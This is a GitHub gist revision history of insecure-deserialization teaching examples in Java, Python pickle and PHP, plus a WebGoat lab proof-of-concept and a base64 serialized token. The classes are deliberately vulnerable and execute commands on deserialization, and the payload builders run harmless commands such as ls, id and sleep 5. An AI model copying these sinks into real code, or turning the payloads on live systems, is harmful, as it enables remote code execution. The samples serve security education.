Skip to content

Instantly share code, notes, and snippets.

@testrod
Forked from thehackerish/JavaDeserial.java
Created July 31, 2020 22:15
Show Gist options
  • Save testrod/c0002b4b4ea070c9f58cc26b7a11dc27 to your computer and use it in GitHub Desktop.
Save testrod/c0002b4b4ea070c9f58cc26b7a11dc27 to your computer and use it in GitHub Desktop.

Revisions

  1. @thehackerish thehackerish revised this gist Feb 28, 2020. No changes.
  2. @thehackerish thehackerish revised this gist Feb 28, 2020. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions deserialization-token
    Original file line number Diff line number Diff line change
    @@ -1 +1,2 @@
    The token will not work because the vulnerable class checks if the token is older than 10 minutes. You need to generate one yourself using the instructions on the blog post: https://thehackerish.com/insecure-deserialization-explained-with-examples
    rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfkAhoPDgwkiz74eHQAB3NsZWVwIDV0AAVkdW1teQ==
  3. @thehackerish thehackerish revised this gist Feb 26, 2020. 5 changed files with 8 additions and 3 deletions.
    2 changes: 1 addition & 1 deletion JavaDeserial.java
    Original file line number Diff line number Diff line change
    @@ -3,7 +3,7 @@ public class JavaDeserial{

    public static void main(String args[]) throws Exception{

    FileInputStream fis = new FileInputStream("normalObj.serial");
    FileInputStream fis = new FileInputStream("/tmp/normalObj.serial");
    ObjectInputStream ois = new ObjectInputStream(fis);

    NormalObj unserObj = (NormalObj)ois.readObject();
    2 changes: 1 addition & 1 deletion JavaSerial.java
    Original file line number Diff line number Diff line change
    @@ -6,7 +6,7 @@ public static void main(String args[]) throws Exception{

    VulnObj vulnObj = new VulnObj("ls");

    FileOutputStream fos = new FileOutputStream("normalObj.serial");
    FileOutputStream fos = new FileOutputStream("/tmp/normalObj.serial");
    ObjectOutputStream os = new ObjectOutputStream(fos);
    os.writeObject(vulnObj);
    os.close();
    1 change: 1 addition & 0 deletions deserialization-token
    Original file line number Diff line number Diff line change
    @@ -0,0 +1 @@
    rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfkAhoPDgwkiz74eHQAB3NsZWVwIDV0AAVkdW1teQ==
    2 changes: 1 addition & 1 deletion python-deserialize.py
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    import pickle

    with open('serial', 'r') as f:
    with open('/tmp/serial', 'r') as f:
    pickle.loads(f.read())
    4 changes: 4 additions & 0 deletions python-serialize.py
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,10 @@
    import pickle

    class VulnPickle(object):
    def __reduce__(self):
    import os
    return (os.system,("id",))

    a = pickle.dumps(VulnPickle())
    with open('/tmp/serial', 'w') as f:
    f.write(a)
  4. @thehackerish thehackerish revised this gist Feb 26, 2020. 5 changed files with 86 additions and 0 deletions.
    39 changes: 39 additions & 0 deletions JavaDeserial.java
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,39 @@
    import java.io.*;
    public class JavaDeserial{

    public static void main(String args[]) throws Exception{

    FileInputStream fis = new FileInputStream("normalObj.serial");
    ObjectInputStream ois = new ObjectInputStream(fis);

    NormalObj unserObj = (NormalObj)ois.readObject();
    ois.close();
    }
    }

    class NormalObj implements Serializable{
    public String name;
    public NormalObj(String name){
    this.name = name;
    }
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
    in.defaultReadObject();
    System.out.println(this.name);
    }
    }

    class VulnObj implements Serializable{
    public String cmd;
    public VulnObj(String cmd){
    this.cmd = cmd;
    }
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
    in.defaultReadObject();
    String s = null;
    Process p = Runtime.getRuntime().exec(this.cmd);
    BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));
    while ((s = stdInput.readLine()) != null) {
    System.out.println(s);
    }
    }
    }
    21 changes: 21 additions & 0 deletions JavaSerial.java
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,21 @@
    import java.io.*;

    public class JavaSerial{

    public static void main(String args[]) throws Exception{

    VulnObj vulnObj = new VulnObj("ls");

    FileOutputStream fos = new FileOutputStream("normalObj.serial");
    ObjectOutputStream os = new ObjectOutputStream(fos);
    os.writeObject(vulnObj);
    os.close();

    }
    }
    class VulnObj implements Serializable{
    public String cmd;
    public VulnObj(String cmd){
    this.cmd = cmd;
    }
    }
    16 changes: 16 additions & 0 deletions WebGoat-deserialization-poc.java
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,16 @@
    package org.dummy.insecure.framework;

    import java.io.FileOutputStream;
    import java.io.ObjectOutputStream;

    public class Attack {
    public static void main(String args[]) throws Exception{

    VulnerableTaskHolder vulnObj = new VulnerableTaskHolder("dummy", "sleep 5");
    FileOutputStream fos = new FileOutputStream("serial");
    ObjectOutputStream os = new ObjectOutputStream(fos);
    os.writeObject(vulnObj);
    os.close();

    }
    }
    4 changes: 4 additions & 0 deletions python-deserialize.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,4 @@
    import pickle

    with open('serial', 'r') as f:
    pickle.loads(f.read())
    6 changes: 6 additions & 0 deletions python-serialize.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,6 @@
    class VulnPickle(object):
    def __reduce__(self):
    import os
    return (os.system,("id",))

    a = pickle.dumps(VulnPickle())
  5. @thehackerish thehackerish created this gist Feb 26, 2020.
    24 changes: 24 additions & 0 deletions php-object-injection-example-deserialize.php
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,24 @@
    class DangerousClass {

    function __construct() {
    $this->cmd = "id";
    }

    function __destruct() {
    echo passthru($this->cmd);
    }

    }
    class NormalClass {

    function __construct() {
    $this->name = "bob";
    }

    function __destruct() {
    echo $this->name;
    }

    }
    $serial = file_get_contents('/tmp/serial');
    unserialize($serial);
    14 changes: 14 additions & 0 deletions php-object-injection-example-serialize.php
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,14 @@
    class DangerousClass {

    function __construct() {
    $this->cmd = "ls";
    }

    function __destruct() {
    echo passthru($this->cmd);
    }

    }
    $a = new DangerousClass();
    $b = serialize($a);
    file_put_contents("/tmp/serial", $b);